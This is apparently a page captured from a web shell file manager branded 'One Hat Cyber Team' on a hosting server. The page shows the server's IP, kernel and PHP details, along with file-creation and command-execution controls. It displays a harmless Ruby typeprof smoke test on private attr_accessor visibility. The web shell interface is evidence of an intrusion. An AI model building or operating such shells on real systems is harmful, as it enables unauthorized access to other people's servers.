⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
ruby
/
gems
/
3.0.0
/
gems
/
typeprof-0.12.0
/
smoke
/
View File Name :
attr-vis.rb
class Foo def initialize @foo = 42 end private attr_accessor :foo public def get_foo foo end def set_foo(arg) self.foo = arg end def get_bar bar end def set_bar(arg) self.bar = arg end end Foo.new.set_foo("str") Foo.new.set_bar("str") __END__ # Errors smoke/attr-vis.rb:20: [warning] inconsistent assignment to RBS-declared variable # Classes class Foo def initialize: -> Integer private attr_accessor foo: Integer | String public def get_foo: -> (Integer | String) def set_foo: (String arg) -> String def get_bar: -> Integer def set_bar: (String arg) -> String end